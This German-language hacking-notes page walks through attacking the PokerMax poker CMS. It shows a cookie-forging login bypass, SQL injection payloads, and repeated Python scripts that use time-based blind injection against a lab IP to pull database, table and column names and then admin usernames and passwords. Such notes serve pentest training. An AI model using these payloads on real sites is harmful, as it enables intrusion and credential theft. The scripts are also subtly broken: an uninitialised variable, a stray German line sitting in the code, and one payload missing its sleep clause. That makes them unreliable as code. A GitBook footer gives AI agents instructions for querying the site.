> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/pokermax-cms-exploitation.md).

# PokerMax

**Suche nach Schwachstellen mit Searchsploit**

Nach der Identifizierung eines `pokermax` Webseite, verwenden Sie Searchsploit, um nach potenziellen Schwachstellen zu suchen.

<figure><img src="/files/280899a0c2ff11716e9f7834bd4d5d84de76e264" alt=""><figcaption></figcaption></figure>

**Identifizierung des Admin-Authentifizierungs-Panels:**

Ein Admin-Authentifizierungs-Panel wird entdeckt. Ein JavaScript-Snippet in der Konsole ändert `ValidUserAdmin` zu `Administrator`, wodurch Zugriff auf `configure.php` in pokeradmin.

<figure><img src="/files/f578e7c76b86691c37b3e0e1a674235b7a67f7ad" alt=""><figcaption></figcaption></figure>

```javascript
javascript:document.cookie = "ValidUserAdmin=admin";
```

<figure><img src="/files/c727a7402b8f55943905acf5294ecb20fb3488fe" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/c524172823504d9742f9be4594974d91cfe3dce5" alt=""><figcaption></figcaption></figure>

## SQL-Injection-Schwachstelle

**Erkennung einer SQL-Injection-Schwachstelle:**

<figure><img src="/files/ebaaf8e6bec356f20a7c8ac61cce6890b2392fcd" alt=""><figcaption></figcaption></figure>

#### Identifizieren Sie eine SQL-Injection-Schwachstelle in der Webanwendung. Verwenden Sie [BurpSuite](/de/hacking-tools/web/burpsuite.md) zum Abfangen des Datenverkehrs.

<figure><img src="/files/58f743728c401ad99d2e40ab40a780ffc2adf5b2" alt=""><figcaption></figcaption></figure>

#### Ermittlung der Spaltenanzahl mit ORDER BY

```sql
admin' order by 7-- -
```

#### Versuch der Tabellenauflistung mit UNION SELECT

```sql
admin' union select 1,2,3,4,5,6,7-- -
```

#### Verwendung zeitbasierter SQL-Injection

```sql
admin' and sleep(5)-- -
admin' and if(substr(database(),1,1)='a',sleep(5),1)-- -
```

<figure><img src="/files/caa8f9652b3c79ef12d1893810f08151493bf6ba" alt=""><figcaption></figcaption></figure>

#### Python-Automatisierung zum Extrahieren des Datenbanknamens

```sql
admin' and if(substr(database(),%d,1)='%s',sleep(0.85),1)-- -
```

```python
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    ""
    p1 = log.progress("SQLI:")
    p1.status("Starte Brute-Force-Angriff")
    time.sleep(2)
    p2 = log.progress("Extract data:")
    
    for position in range(1, 12):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr(database(),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()

            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    SQL-Injection abgeschlossen
    p2.success(data)

if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/c3ca8a2e71cb371b68c347f5df535d95c7adaa55" alt=""><figcaption></figcaption></figure>

#### Python-Automatisierung zum Extrahieren aller Datenbanknamen

```sql
admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s',sleep(0.85),1)-- -
```

```sql
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    ""
    p1 = log.progress("SQLI:")
    p1.status("Starte Brute-Force-Angriff")
    time.sleep(2)
    p2 = log.progress("Extract data:")
    
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    SQL-Injection abgeschlossen
    p2.success(data)

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/1902f642cba27844ee4d59012bff92c947e6f983" alt=""><figcaption></figcaption></figure>

#### Python-Automatisierung zum Extrahieren von Tabellennamen

```sql
admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='pokerleague'),%d,1)='%s',sleep(0.85),1)-- -
```

```python
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    ""
    p1 = log.progress("SQLI:")
    p1.status("Starte Brute-Force-Angriff")
    time.sleep(2)
    p2 = log.progress("Extract data:")

    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='pokerleague'),%d,1)='%s'," % (position, character),
                'password': 'admin'
            }
            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()

            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    SQL-Injection abgeschlossen
    p2.success(data)

if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/4f7e158ed65f16772bda22125170a6538ac575c0" alt=""><figcaption></figcaption></figure>

#### Python-Automatisierung zum Extrahieren von Spaltennamen

```sql
admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='pokerleague' and table_name='pokermax_admin'),%d,1)='%s',sleep(0.85),1)-- -
```

```sql
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    ""
    p1 = log.progress("SQLI:")
    p1.status("Starte Brute-Force-Angriff")
    time.sleep(2)
    p2 = log.progress("Extract data:")
    
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='pokerleague' and table_name='pokermax_admin'),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()

            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    SQL-Injection abgeschlossen
    p2.success(data)

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/3994267a739ed8efb29ca0b8d54a2581c820f919" alt=""><figcaption></figcaption></figure>

#### Python-Automatisierung zum Extrahieren des Inhalts der Benutzername- und Passwortspalten

```sql
admin' and if(substr((select group_concat(username,0x3a,password) from pokermax_admin),%d,1)='%s',sleep(0.85),1)-- -
```

```python
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    ""
    p1 = log.progress("SQLI:")
    p1.status("Starte Brute-Force-Angriff")
    time.sleep(2)
    p2 = log.progress("Extract data:")
    
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(username,0x3a,password) from pokermax_admin),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    SQL-Injection abgeschlossen
    p2.success(data)

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/d4397a2c92e987e64ff7ea28fac034f399b17c2e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/cms/pokermax-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
